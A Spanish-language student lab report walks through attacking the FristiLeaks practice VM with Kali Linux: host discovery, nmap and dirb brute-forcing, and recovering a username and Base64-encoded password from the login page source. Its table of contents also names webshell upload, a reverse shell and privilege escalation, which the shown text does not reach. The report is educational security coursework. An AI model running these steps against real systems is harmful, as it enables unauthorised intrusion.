INFORME SEGUNDO PARCIAL DE SEGURIDAD # 1

JUAN CARLOS PALACIOS VALENCIA

INTEGRANTE

UNIVERSIDAD TECNOLOGICA DEL CHOCO “DIEGO LUIS CORDOBA”
INGENIERIA EN TELECOMUNICACIONES E INFORMATICA
QUIBDO-CHOCO

9/09/2025




INFORME SEGUNDO PARCIAL DE SEGURIDAD #1

INTEGRANTE

JUAN CARLOS PALACIOS VALENCIA

DOCENTE

RAFAEL SANDOVAL

ASIGNATURA

SEGURIDAD Y AUDITORIA

UNIVERSIDAD TECNOLOGICA DEL CHOCO “DIEGO LUIS CORDOBA”
INGENIERIA EN TELECOMUNICACIONES E INFORMATICA
QUIBDO-CHOCO

9/09/2025



1. Contenido

INTRODUCCION ..ottt 10
OBJETIVO ..ottt bbb be e 10
OBJETIVO GENERAL.......ctiiiitiiiieie et 10
2. INFORME DE HACKING DE KALI LINUX A FRISTILEAKS.........ccccviviiennen. 11
Configuracion de fristileaks: ... 11
Visualizacion de interfaces de red con ifconfig:.......ccccvviiiiiiiiiii 12
Accediendo al directorio Desktop desde la termina: .........ccocceviveiiiniiinennieeie e 13
Uso del comando mkdir para generar Carpeta...........ccouvevereerinienieneseeseesesee e 14
Verificacion de contenido en el directorio Desktop........cccocovvviiiiiiiiiiiiiic 14
Ingreso al directorio sr_friti desde la terminal.............ccooviiiiiiiiiiiiie 14
Acceso como super usuario en Kali LInuX ... 15
Escaneo de red local con NetdiSCOVET: ......cccoiiiiiiiiiniiiiieiiies e 15
Verificacion de conectividad.........cocviiiiiiiiiiiiiiie e 16
Escaneo de puertos y deteccion de servicios con Nmap:.......ooceeevveeinieeniieeniieenineenns 16
Visualizacion del sitio web detectado en el host escaneado ...........ccccocvviveiiiiiicincnn 17
Ingreso al codigo fuente de 1a pagina Web ..o 17

Visualizacion del codigo fuente HTML del Sitio Web ........ccoecviiiiiiiiiiiciiciiiiciecs 18



reaccion de archivo utilizando el editor Nano ..........cccoevvviiiiiiniiinie 18
Listado de contenido del directorio ST fTitii.....ccceviiiiiiiiiiiiiiiiiie e 19
Visualizacion del contenido del archivo dicionario.tXt:........ccooveeveriveiiiiiiiieninicieenns 19
Enumeracion de directorios ocultos con DIRB .........cccccooiiiiiiiiiniiicccecec 20
Exploracion del contenido del directorio Images: .......ccovvervevirieiieiisieseeeseesees 21
Imagen arrojada por el Servidor WED .........occveiiiiiiiiiii e 22
Inspeccion del archivo robots.txt del Servidor Web .........cocvviiiiiiiiiiiiiiesciee s 23
Fuerza bruta de URL con DIRB ........cccooiiiiiiiii e 23
Escaneo y Acceso a Directorio Detectado con DIRB........c.ccoeeiiiiiiniiiiiiieieeee 23
Login del Portal Administrativo fristileaks...........cccovviiiiiiiiniinieiiceeeeseeseee 24
Ingreso al codigo fuente del login fristileaks..........cocooeiiiiiiiiiiiiiiii 24
Entramos a un Navegador:..........ccoiiiiiiiiiiciiii e 26
Decodificador y codificacion Base64 .............cccovveiiiiiiiniiniiicice e 26
Convertidor Base64 a PNG........oooiiiiiiiiiiic e 27
Ingreso al portal administrativo de fristileaks:..........cccooovriiiiiini 28
Ejecucion de webshells PHP..........c.oooiiiiie e 29
Listado de webshells PHP.........cc.oooiiiiiii e 29
Movimiento de webshell PHP a directorio personal............cccccvveiiiiiiiiniiciiniieieenns 30
Visualizacion de archivos €n dir€CtOTI0 ........eeieiiiuirriiiiie et 30

Edicion de php-reverse-shell.php con Nano: ..........cccooviiiiiinii e 31




3.

Configuracion de conexion en php-reverse-shell.php ..., 31
Subida de archivo malicioso mediante formulario web...........c.ccociviiiiiiiiiicinnn, 32
Conexion de vICtima ¥ ataCANTE .......cvvrviieeiriiieiiieie e 33
Exploracion del sistema de archivos remoOt0 ..........ccovevvirieriiiiiiniesieeseeseee e 33
Creacion de archivo malicioso para escalada de privilegios .........ccccviveiiiiiiiicninnnn 34
Lista del directorio /hOmE ............couiiiiiiiiiiieie e 35
Listado de archivos y permisos en el directorio admin: ...........c.cceeeeerveiiieniesiiennenn 35
Visualizacion del teXto Cifrado.........oooveiiiiiiiiiicee e 36
Abrir y editar archivo Python desde consola ............ccoceviiiiiiiiiciiciceee 37
Descifrado y salida de mensaje en terminal usando Python:...........ccccccoeiiiiiiiiininnnne 37
Ejecutando Shell ..o 38
Escalada de privilegios mediante cambio de usuario ...........ccceeveiiiiiiiniiiiinicieens 38
LiStado de dIr€CtOTIOS ... .eeuveeiiiieiieiiie ettt ettt ettt 39
Listado detallado del dir€Ctorio /VAr: ..........ccuoiviiiiiiiiiie e 40
Archivos y permisos en el directorio de fristigod.........cccovvveiiiiiiiiiiiiii e 40
Contenido del directorio OCUILO .......c.cvviiiiiiiiiic e 41
Elevacion de privile@ios @ TOOL .........ccoiviiiiiiiiiiiieiiee e 41
Creacion de NUEVO USUATIO .. .ceiuuieiierireeiee et entee st e steesseeesteessbeesbeessneesbeessbeesbeesneeesneeanes 42
Visualizacion del directorio /home y SUS USUATIOS ......cvvveeriieiiiieiieicsecseee e 44

CaAPTILUIO 2. 45




4. COMANDOS DE NC (NEtCAt)......crcvrrririiiiiiiiniisie e 45
DIFICULTADES. ...ttt 47
CONCLUSION ...ttt 47

TABLA DE ILUSTRACIONES

[ustracion 1 configuracion de 1€d ..........cooviviiieiiiiieiie s 11

Tustracion 2 configuracion MAC .........ccoiiiiiiiiiisee e 12

Tustracion 3 inicio de fristileaks.........oiiiiiiiiiiiiei e 12

[lustracion 4 verificacion IP de equipo atacante ...........cocvveeririienieiisie e 13

Tustracion 5 directorio DESKLOP........coviviiiiiiiiiieiieiec e 13

[lustracion 6 creacion de carpeta St fTTt......c.ooiveiiiiiiciiee e 14

[lustracion 7 carpeta sr_friti en el directorio Desktop .......cccovvviiiiiiiiieniie e, 14

[lustracion 8 ingreso a la carpeta St Tt ....c.oocveieiiiieiieee e 14

[lustracion 9 Privile@io TOOT ........eiiiiiiiiiiie e 15

[lustracion 10 €Scaneo de TEAES.........covviriiiriiiiieiii e 15

[lustracion 11 ping para el equIPO VICHMA.......cviivriiieiiieiec e 16

[lustracion 12 servicios diSPONIDIES ..........civiiiiiiiiiiieiiiesee e 16

[lustracion 13 pagina del SErVIAOT.........oooviiiiiiiiii e 17

[lustracion 14 acceso al codigo fuente del servidor........oovvvveiiiiiiiiiiniie e, 17

[lustracion 15 codigo fuente del SErvIdOr........ccovviiiiiiiiiiiie e 18

Tlustracion 16 creacion de dICCIONATIO covvun..eeeee e eeee e e et e e e e e e e e e e e e eenaeeeeennnn 18



[lustracion 17ingresando a la lista de dicCIONATiO.......ccvvveiiiieiiiiiniiie e 19
[ustracion 18 lista de diCCIONATIO .......uvvivieiiieiee e 19
[lustracion 19 aplicando fuerza bruta en el Servidor.........occvviiviiiiieiiiie e, 20
[lustracion 20 indice del dire€Ctorio Web..........ocveiiiiiieiiieiice e 21
[lustracion 2 1imagen arrojada del primer link del directorio web.........cccccevvieeiiiininnen, 21
[lustracion 22 imagen arrojada por el segundo link del directorio web...........ccceevveenneen. 22
[lustracidon 23 imagen arrojada por el servidor Web..........ccoovviiiiiiiiiiiie e 22
[lustracion 24 archivo del Servidor WeDb.........oocviiiiiiii i 23
Ilustracion 25 aplicacion de fuerza bruta al servidor Web ..., 23
Tustracion 26 URL fTiSt ....coouieiiiiiieiie et 23
[ustracion 27 1ogin friStileaks ..........cooviiiiiiiiiiie e 24
[lustracion 28 ingreso al codigo fuente de fristileaks .........cccocoveiiiiiiiiiiniin e 24
[lustracion 29 codigo fuente fristileaks / USUATIO €€ZEEPZ ........eevvvvveiviiiiiieiiiciciees 25
[lustracion 30 codigo fuente fristileaks en base64...........cccovvvviiiiiiiiiiiiiiie 25
[lustracion 31navegador SOOI . .......ccovviiiiiiiiiiii e 26
Tustracion 32codificador DASEO4 ..........coiuiiiiiiiieiii e 26
[lustracion 33 codigo base64 descodificado .........ceviviiiiiiiiiiiiiiiic 27
Tustracion 34convertidor base64 a PNG ........cccoiiiiiiiiiiiiie e 27
[lustracion 35c6digo base64 convertido @ PNG........ccccovvviiiiiiiiiiiicie 28
TTUSLraciOn 36 INICIAT SESIOMN ....eevviirieiiiieiiesiteetee st e steesbe e bt e sie e e bt e bt e sbeessneesbeeanbeesseeenneens 28
Tustracion 37inicio de SErvIdOT WED.......cccoiiiiiiiiiiiiie et 29
Tlustracion 38Ruta de acceso a webshells PHP.........cccccooiiiiiiiii 29

Tlustracion 39Listado de WebShElls PHP ........ooiiiiiiieee et 29




[lustracion 40Copia del Webshell php-reverse-shell.php a un directorio personalizado .. 30
[lustracion 41 Verificacion de archivos en el directorio de trabajo .........ccccevvvveiiiieiiienns 30
[lustracion 42Edicion del archivo php-reverse-shell.php con nano.........c.cccecvevvieeiiinenns 31

[lustracion 43Modificacion de pardmetros en php-reverse-shell para conexion remota.. 31

[lustracion 44Carga de archivos webshell desde una interfaz web..........ccccovcvveiiiieiiinnns 32
[lustracion 45Intento de acceso al webshell subido via URL directa ..........ccevvvrieverinnne 32
[lustracion 46Notificacion de Carga EXit0Sa........euuiererriuiereiriie e e e eeeens 32
[lustracion 47esperando una CONEXiON ENITANLE .......vvevvveeeiveeeiieeeiieeesieeesreessneessireesneeeas 33
[lustracion 48Listado detallado del directorio raiz ..........ccccveriieiiiiiieiiieeeee e 33
[ustracion 49RedireCCIONAMIENLO .....uvvivieiiiieiee ittt nee 34
[lustracion S0Listar el contenido de /home y mostrar los directorios de usuarios............ 35
[lustracion S1Listado del directorio /home/admin con archivos y permisos .................... 36
[lustracion 52Contenido encriptado en archivo de teXto .........ccocvvveiiiiiiiciiiicneiece 36
[lustracion 53Edicion de script en Python con nano como 1oot ..........ccccevveiiiiiiiiiiienns 37
[lustracidon 54Script Python para decodificacion ROT13 y Base64 en nano.................... 37
[lustracion 55Elevacion de shell usando Python en terminal ... 38
[lustracién 56Cambio de usuario con su y verificaciéon con whoami en terminal............. 38
[lustracion 57Exploracion de directorios raiz en terminal............cocceiviiiiiiiiiiiiiinnenns 39
[lustracion 58Listado detallado del contenido del directorio /var .........cccocevviiviiviiiinns 40

[ustracion S9Exploracion del directorio personal del usuario fristigod con archivos




& :

Ilustracion 61Escalamiento de privilegios a root usando sudo y archivo setuid

PEISONALIZAAD .ot bre s 41
[lustracion 62Creacion de nuevo usuario y asignacion de contrasefia desde root ............ 42
[lustracion 63Creacion de usuario super boy con contraseia desde sesion root ............. 43
[lustracion 64Directorio /home con MUILIPIES USUATIOS ..vvvvveeiiveieiiririiiieeiiiessieessiree e 44
[lustracion 65Cambio de usuario a sr_jc y verificacion con whoami............ccceceervernnens 44

[lustracién 66Cambio de usuario a super boy y confirmacion con whoami.................... 45



10

INTRODUCCION

En este laboratorio utilizamos Kali Linux para ingresar a una maquina vulnerable llamada
FristiLeaks. El objetivo principal fue encontrar una forma de entrar al sistema y obtener control
total.

Primero, revisamos el cddigo fuente de la pagina de inicio de sesién, donde descubrimos el
nombre de usuario eezeepz y un cddigo en Base64 que, al decodificarlo, nos dio la contrasefia.
Con esta informacidn, pudimos acceder al sistema.

Maés adelante, subimos un archivo malicioso a la seccion de administracion de la pagina web de
FristiLeaks, lo que nos permitié avanzar aun mas dentro del sistema.

Durante el proceso, encontramos pistas, archivos ocultos y contrasefias que nos ayudaron a subir
de nivel de acceso. Finalmente, al tener control completo, creamos nuevos usuarios dentro del

directorio /home.

OBIJETIVO

El objetivo de este laboratorio fue acceder a una maquina vulnerable llamada FristiLeaks,
identificar sus debilidades y aprovecharlas para obtener control total del sistema. Una vez
dentro, se busco crear nuevos usuarios en el directorio home, siguiendo pistas y superando
obstaculos paso a paso.

OBJETIVO GENERAL

Acceder y tomar el control de la maquina vulnerable FristiLeaks usando herramientas de Kali
Linux, con el fin de crear nuevos usuarios en el sistema mediante la exploracion de fallos de
seguridad y el andlisis de archivos ocultos.
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Configuracion de fristileaks: Ingresamos a las configuraciones de fristileaks y entramos

alared y la conectamos a una Red NAT

IBox Administrador
PP W 4
nientas ~7
W; FristiLeaks 1 - Settings —

aloitable2
ux-2025.2-virtualbo ! General Red
tiendo . Adaptador 1 Adaptador2 ~ Adaptador3  Adaptador 4

1 li‘ Sistema
linux B Habilitar adaptador de red
1gada . Pantalla

— Conectado a:  Red NAT v

WS XP E Almacenamiento Nombre: SEMESTRES-2025
igada N - Tipo de adaptador:  Intel PRO/1000 MT Desktop (82540EM)

sloitable3-ub1404 Modo promiscuo:  Permitir todo

gada m

Direccién MAC: 080027147727

Q

| i) Puertos serie 8 Cable conectado
ws server2003
sgada Q USB
2aks 1 D Carpetas compartidas Puertos serie
igada Puerto1  Puerto2  Puerto3  Puerto4

E Interfaz de usuario
[ Enable Serial Port

Aceptar Cancelar

Ayuda

Llustracion 1 configuracion de red

Luego le cambiamos la direccion MAC 080027A5A676 y luego aceptamos los cambios.
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VIV FIU\IIIJLUU. Lulinu wuay

Direccion MAC: 08002754676

llustracion 2 configuracion MAC

Ahora ponemos a correr nuestra maquina fristileaks y cuando abre vemos que ya tiene
rentada una direccion IP 192.192.0.11 y tiene un Loguin el cual no sabemos cual es para

ingresar, pero lo vamos a descubrir.

Fristileaks 1.3 wulnerable UM by ArBxA.
Goal: get root (uid B) and read the flag file

hanks to dgi and barrebas for testing?

I[P address:192.192.8.11
localhost login:

llustracion 3 inicio de fristileaks

Visualizacidn de interfaces de red con ifconfig: Para iniciar este proceso se debe ingresar

a una terminal de Kali Linux y hacer un escaneo para saber la direccion IP del equipo atacante y
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esto se hace con el comando ifconfig al aplicar este comando nos arrojara la direccion IP que

tiene rentada el equipo atacante y seria la 192.192.0.5

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet[192.192.0.5 | netmask 255.255.255.0 broadcast 192.192.0.255
inet6 fe80::4425:44e7:1e61:fel5 prefixlen 64 scopeid 0x20<link>

ether 08:00:27:d1:f8:5d txqueuelen 1000 (Ethernet)
RX packets 3 bytes 1240 (1.2 KiB)

RX errors @ dropped @ overruns @ frame 0

TX packets 29 bytes 3722 (3.6 KiB)

TX errors @ dropped 0 overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped @ overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped 0 overruns @ carrier @ collisions 0

Llustracion 4 verificacion IP de equipo atacante

Accediendo al directorio Desktop desde la termina: En este paso ingreso al directorio

desktop mediante el comando cd Desktop de esta manera ya quedamos dentro de este directorio.

)-[~/Desktop]

[:— ¢ :

llustracion 5 directorio Desktop
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Uso del comando mkdir para generar carpeta: Estando dentro del directorio, aqui vamos

a crear la carpeta donde vamos a tener el archivo malicioso, iniciamos poniendo el comando

mkdir seguido del nombre que le vamos a poner a la carpeta sr_friti

[__g )-[~/Desktop]

[lustracion 6 creacion de carpeta sr_friti

Verificacidn de contenido en el directorio Desktop: Luego verificamos si la carpeta fue

creada y agregada al directorio con el comando Is y ahi podemos ver que la carpeta se pudo

crear.

)-[~/Desktop ]

llustracion 7 carpeta sr_friti en el directorio Desktop

Ingreso al directorio sr_friti desde la terminal: Ya habiendo creado la carpeta ahora

vamos a ingresar dento de la carpeta creada con el comando cd seguido del nombre de la carpeta

sr_friti y ya luego podemos ver como estamos dentro de la carpeta.

)-[~/Desktop]

Ilustracion 8 ingreso a la carpeta sr_friti
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Acceso como super usuario en Kali Linux: Ahora que estamos en la carpeta creada vamos
a aplicar el privilegio root e ingresamos a nuestro usuario para tener control de todo el sistema,
entonces para hacer esto debemos ingresar el comando sudo su luego nos pide la contrasefia de
usuario de nuestro equipo Kali y al finalizar este procedimiento ya estaremos dentro del
privilegio root

)-[~/Desktop/sr_friti]

sudo

[sudg]”bassword for kali:

/home/kali/Desktop/sr_friti

1lustracion 9 privilegio root

Escaneo de red local con Netdiscover: Ahora para saber qué direccion IP tiene la
maquina que vamos atacar hacemos un escaneo de redes usando el comando netdiscover -r y
seguido ponemos la red en la que estamos trabajando 192.192.0.0/24 entonces nos arrojara todas

las redes que estan funcionando ahi vamos a encontrar la de nuestra victima, que seria la

192.192.0.11

/home/kali/Desktop/sr_friti
" -r 192.192.0.0/240

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from &4 hosts. Total size: 240
P At MAC Address Count Len MAC Vendor / Hostname

192.192.0.1 52:54:00:12:35:00 ik Unknown vendor
192.192.0.2 52:54:00:12:35:00 it Unknown vendor
192.192.0.3 08:00:27:b3:ed:77 it PCS Systemtechnik GmbH
192.192.0.11 08:00:27:a5:a6:76 1 PCS Systemtechnik GmbH

llustracion 10 escaneo de redes
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Verificacion de conectividad: Luego hacemos un ping para verificar si hay conexion con

la maquina victima con el comando ping seguido de la direccion IP del equipo victima

192.192.0.11 vemos que el ping sale correcto para finalizar ping presionamos la tecla ctrl + ¢ asi

finalizaremos el ping.

PING 192.

64 bytes
64 bytes
64 bytes
64 bytes

/home/kali/Desktop/sr_friti

1921927011
192202418192 . 192

from 192.192.0.11:
from 192.192.0.11:
from 192.192.0.11:
from 192.192.0.11:

.0.11) 56(84) bytes of data.

icmp_seq=1 ttl=64 time=1.91
icmp_seq=2 ttl=64 time=3.81
icmp_seq=3 ttl=64 time=4.56
icmp_seq=4 ttl=64 time=1.72

1lustracion 11 ping para el equipo victima

Escaneo de puertos y deteccion de servicios con Nmap: Ahora en este paso realizaremos

un escaneo de los servicios que estan corriendo con el comando nmap -sV seguido de la

direccion IP del equipo victima 192.192.0.11 al realizar el escaneo vemos que el puerto 80 esta

disponible.

/home/kali/Desktop/sr_friti

sV_192.192.0.11

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 17:30 EDT

Nmap scan report for 192.192.0.11

Host is up (0.0016s latency).

Not shown: 986 filtered tcp ports (no-response), 13 filtered tcp ports (host-prohibited)
STATE SERVICE VERSION

cp open http
Address: 08:00:27:A5:A6:76 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.53 seconds

/home/kali/Desktop/sr_friti

llustracion 12 servicios disponibles
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Visualizacidn del sitio web detectado en el host escaneado: aqui entramos a la pagina

web desde la direccion IP 192.192.0.11 y Verificacion lo que esta corriendo en el puerto 80

Hlustracion 13 pagina del servidor

Ingreso al codigo fuente de la pagina web Cuando ingresamos a la pagina le damos clip

derecho sobre ella y seleccionamos la opcion view selection source esto lo hacemos Para el

codigo fuente de la pagina.

Mlustracion 14 acceso al codigo fuente del servidor
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Visualizacién del codigo fuente HTML del sitio web: en este paso vamos a visualizar el

codigo fuente de la pagina, el cual debemos inspeccionar a ver si hay alguna vulnerabilidad.

> The < #fristileaks</a> motto:</hl> <
src="
s 2015-12-11 are:<br>

arrebas, @rikvduijn, @wez3forsec, @PyroBatNL, @@xDUDE, @annejanbrouwer, @Sander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwid

[lustracion 15 codigo fuente del servidor

reaccion de archivo utilizando el editor Nano: Ahora vamos a crear un diccionario con el

comando nano seguido de la direccion diccionario.txt

/home/kali/Desktop/sr_friti
dicionario.txt]j

motto

KEEP

CALM

AND

DRINK

FRISTI

passwor

admin

user

Fristileaks 2015-12-11 are:

Et, Egeltje, @pdersjant, @tcpl30x10, @spierenburg, @ielmatani, @renepieters, Mystery guest, @EQ_uinix, @WhatSecurity, @mramsmeets, @AroxAll

llustracion 16 creacion de diccionario
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Listado de contenido del directorio sr_friti: Cuando terminamos con los pasos de la

creacion del diccionario debemos hacer la Verificacion del diccionario que ya se creo, aplicando

el comando Is y nos mostrara la direccion del diccionario.

/home/kali/Desktop/sr_friti

/home/kali/Desktop/sr_friti

llustracion 17ingresando a la lista de diccionario

Visualizacién del contenido del archivo dicionario.txt: Ahora vamos a mirar lo que se

cred dentro del diccionario usando el comando cat seguido de la direccion del diccionario

diccionario.txt y nos mostrara todo el contenido de nuestro diccionario.

/home/kali/Desktop/sr_friti
dicionario. txt

The

fristileaks

motto

KEEP

CALM

AND

DRINK
FRISTI

passwor
admin

user

Fristileaks 2015-12-

omeneer, gbarrebas, grikvduijn, f) orsec, @PyroBatNL, @0xDUDE, dannejanbrouwer, @Sander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwight, Egel
tje, dpdersjant, @tcp130x10, dspi urg, fielmatani, grenepieters, Mystery guest, @EQ_uinix, WhatSecurity, @mramsmeets, @Ar0xA

Ilustracion 18 lista de diccionario
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Enumeracidn de directorios ocultos con DIRB: en ¢l siguiente paso vamos a utilizar el

comando dirb que es una forma de utilizar fuerza bruta para conseguir archivos y directorios
ocultos en servidores web, entonces seguido de el comando dirb vamos a poner la URL del
servidor http://192.192.0.11/ y asi encontramos los directorios ocultos. Ahora vamos a ingresar a
cada uno de los directorios que encontramos, para ingresar a ellos debemos poner el cursor
encima de la URL que deseamos ingresar y dejar sostenida la tecla ctrl + clip izquierdo y

directamente nos llevara para el sitio.

/home/kali/Desktop/sr_friti
http://192.192.0.11/

DIRB v2.22
By The Dark Raver

START_TIME: Sat Sep 6 18:06:29 2025
URL_BASE: http://192.192.0.11/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://192.192.0.11/ ——

+ http://192.192.0.11/cgi-bin/ (CODE:403|SIZE:210)
=—> DIRECTORY: http://192.192.0.11/images/

+ http://192.192.0.11/index.html (CODE:200|SIZE:703)
+ http://192.192.0.11/robots.txt (CODE:200|SIZE:62)

—— Entering directory: http://192.192.0.11/images/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

END_TIME: Sat Sep 6 18:08:37 2025
DOWNLOADED: 4612 - FOUND: 3

Mlustracion 19 aplicando fuerza bruta en el servidor



Exploracion del contenido del directorio images: El primer URL que ingresamos

http://192.192.0.11/cgi-bin/ nos muestra un indice de directorio web con tres links que si

ingresamos a cada uno de ellos nos mostrara las siguientes imagenes.

Index of /images

Name Last modified Size Description

¥ Parent Directory -
3037440jpg  25-Nov-2015 03:50 105K
keep-calm.png 17-Nov-2015 12:20 34K

Ilustracion 20 indice del directorio web

llustracion 2 limagen arrojada del primer link del directorio web

21
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Llustracion 22 imagen arrojada por el segundo link del directorio web

Imagen arrojada por el servidor web: el segundo URL nos sale una imagen de la pagina

web http://192.192.0.11/imagen/

akis

KEEP
CALM

DRINK
FRISTI

[lustracion 23 imagen arrojada por el servidor web


http://192.192.0.11/imagen/
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Inspeccidn del archivo robots.txt del servidor web: Y en el ultimo URL
http://192.192.0.11/robots.txt nos aparece un archivo.
User-agent: *

Disallow: fcol:
i.
e

C
Disallow: /s
Disallow: /b

r

Ilustracion 24 archivo del servidor web

Fuerza bruta de URL con DIRB: Ahora vamos a buscar directorios ocultos a través de

fuerza bruta con el diccionario creado usamos el comando dirb seguido de URL del servidor

web http://192.192.011 seguido del diccionario que ya creamos /diccionario.txt asi seria el

comando completo dirb http:// 192.192.0.11 / diccionario.txt

/home/kali/Desktop/sr_friti
dicionario.txt

/home/kali/Desktop/sr_friti
http://192.192.0.11/ dicionario.txt

lustracion 25 aplicacion de fuerza bruta al servidor web

Escaneo y Acceso a Directorio Detectado con DIRB: Luego nos arrojara un URL

htt://192.192.0.11/fristi/ a el cual debemos ingresar presionando la tecla ctrl + clip izquierdo

GENERATED WORDS: 15

—— Scanning URL: http://192.192.0.11/ —

= DIRECTORY: http://192.192.0.11/fristi/

—— Entering directory: |http://192.192.0.11/fristi/|—

[lustracion 26 URL fristi



http://192.192.0.9/
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Login del Portal Administrativo fristileaks: Cuando ingresemos nos aparecera un login el

cual para ingresar debemos poner un usuario y una contrasefia.

Welcome to #fristileaks admin portal

Member Login
Username :
Password :

[ Login ‘

Hlustracion 27 login fristileaks

Ingreso al codigo fuente del login fristileaks: Estando aqui en el login le damos clip

derecho luego le damos en view page souce y nos aparecera el cédigo fuente del servidor web

Welcome to #fristileaks admin portal

View Page Source

Member Login

Username:| |

Password :[ |
[Login|

llustracion 28 ingreso al codigo fuente de fristileaks
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Aqui en el codigo fuente encontramos el usuario que debemos usar para ingresar al

servidor eezeepz

<l--
5 TODO:
6 We need to clean this up for production. I left some junk in here to make testing easier.

7

8 - by eezeepz
9 -->

10 </ >

11 < >

llustracion 29 codigo fuente fristileaks / usuario eezeepz

Entonces bajamos hasta el final y nos aparece un hash en base64 y debemos de
descodificar, entonces copiamos todo el cddigo que nos aparece comentado y lo llevamos al

descodificador que debemos buscarlo en internet.

<!--
1VBORwOKGgoAAAANSUhEUgAAAWOAAABLCAIAAAAO4UHGAAAAAXNSROIArs4c60AAAARNQUIBAACX
Jwv8YQUAAAAI cEhZcwAADsSMAAA7DAcdvqGQAAARSSURBVHhe7d1RdtsgEIVhr8sL8nqymmwmiOk 1
SOIAQGYGNDO1//dWSQyTgdxz2t5+AcCHHAHgGRY4A8CIHAHIRIwC8yBEAXUQIACIYBIAXOQLA I xw
B4EWOAPA1IRwB4KkSMAVMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEJALZIEQBe5SAgALSKkc+T
mé3yaP7/XP/5RUM2jx71iMz1ZdqpguZHP1+zJ053b9+1gd/OTL2Wul15+RMpJq5 tMTKE1paHlVXJJ
Zv7/d516qse0t9riWabUMsR1+WrOR172DbdwWKqZSOtMPqGL8LRhzyWjWKTFDPXFmulC7e81bxnNOvb
DpYzOMNIWgplLSOw+oaXwomXXtfhL8eb6W+1 rNdDFujoQNI9XbKtHMpSUmn9BSeGf51bUcreW+VjNd
JJQjcelwepPCj LLNXFpi8gktXTnVtYSd6UpINdPFCD1yKB3dyPLpSTVzZYnJR7ROWHELIFGV5N DU
12qmC/1/Zz2ZWXilablifalqjZdq5sqSxUgtWY7syq+ubUpINdOFeI5ENygbTTj+qDbc+QpG9csh
uvFQzV5aM15LLyMrfnrPU12qgmC+Ucqd+gb6E1INsX16/1/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkgl
04VajmwziEdZvmSz9EQYbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEksoZ2k5pGyQ@alq
11n+skSqGfOSIVsKC5Zv4+XH36vQzblOVOtIrWwb6EMyRaLLp+Bbhy31k85Bb jqpUNSHVjHXImC2Fg
tOHOdrysrz404sdLPWImulDLUdSpdEsk5vT5GtqglxnfX88tu/PZy7ViHXImC21HI IWvBBTdZb6Ws
300207k3y+pQ9fnEG4INOco9UnY5dqx rhk0JZKezwdNwgfnveAOUNIsWb6UMyR5zT2B+lwDh++F1
3K/ U+z2uFJINWNcMmhL zUe2v6n/ dAWG+mLNIOKGWI9ECKsMI16o06+ecHEdvOUUu4PnkqD12rGuiS8HK
ul9iMrFG9gqa/VTB8qORLUSTqF7 fYU7tgsn/4+zfhV6aiilscz1GrGvGTIlsLLhiPbnh6KnLDUI1Z2q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW10XNB3Z/vBMWulSTYlm+hDLkcIAtuHEUZzu/191867X34
rPtA6lmLi0ZrgX6gu37alukRkVay lRTqpk+9HNKH85hNocTKC4P31Vebhd8fy/VzO0TCkqgeBWlrrFhe
EPdMj035Sys7XVF+gmT5UcmT9+Ss// fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBCc5ASCLH
AHgRY4A8CIHAHIRIwC8yBEAXuQIACI9yBIAXOQLALxwB4EWOAPA1RwB4kSMAVMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABIR
USErkJggg==

llustracion 30 codigo fuente fristileaks en base64



Entramos a un navegador: Aqui entramos a Google y ponemos en el buscador base64 y nos

apareceran varias opciones.

€5 Adminntradot de tareas

B Configuraciée de 1 baera de tacens

~® 9sm

3 o AL - FCOE U@

[lustracion 3 Inavegador google

Decodificador y codificacion Base64: Elegimos este decodificador para el proceso.

Base64 Decode
https://www.base64decode.org 3

Decodificacion y codificacion Baseé4 en linea @

26

»5lem
LON2028

Decodifica o codifica desde el formato Base64 con diversas opciones avanzadas. Nuestro sitio

cuenta con una herramienta en linea facil de usar para convertir tus datos.

1lustracion 32codificador base64
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Cuando estemos dentro pegamos todo el codigo que copiamos y le damos en de
descodificar y como resultado nos arojara un codigo png el cual vamos a copiar, cuando lo

copiemos vamos de nuevo a Google y buscamos un convertidor de base64 a png.

Dwcode from Rasebd Sormat

© 5o crwetnt W o
e . e -

O et e ——— | — e o e e e

1lustracion 33 codigo base64 descodificado

Convertidor Base64 a PNG: En este caso elegimos este convertidor de base64 a png.

Online PNG Tools
https://onlinepngtools.com » convert-base64-to-png 3

Convertir Base64 a PNG @

El conversor de imagenes en linea de base64 a gréficos de red portatiles mas sencillo del mundo .
Simplemente importe su imagen codificada en base64 en el editor de la izquierda y...

Ilustracion 34convertidor base64 a PNG
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Cuando ya estamos en el convertidor vamos a pegar el codigo que copiamos y lo vamos a
convertir en imagen, y esa imagen tiene escrita la contrasefia que debemos utilizar para ingresar a

el servidor, entonces esa imagen debemos pasarla a texto.

Onine PNG Maker

WOATS TGRat Ore Bt 3 Portabie Neteork Geaghacs Inage COmrar et ITgent s basedh eccosed image
P e o T ) el g T Ly O NG ittt 4 e g e, AH, el ey wartd Wgr)

Bonetd - ot 8 PO Comatedt weh kove by

Ingrat Basedd 0 Output PNG

kekkeKKeKKeKkEKKEK

Ilustracion 35codigo base64 convertido a PNG

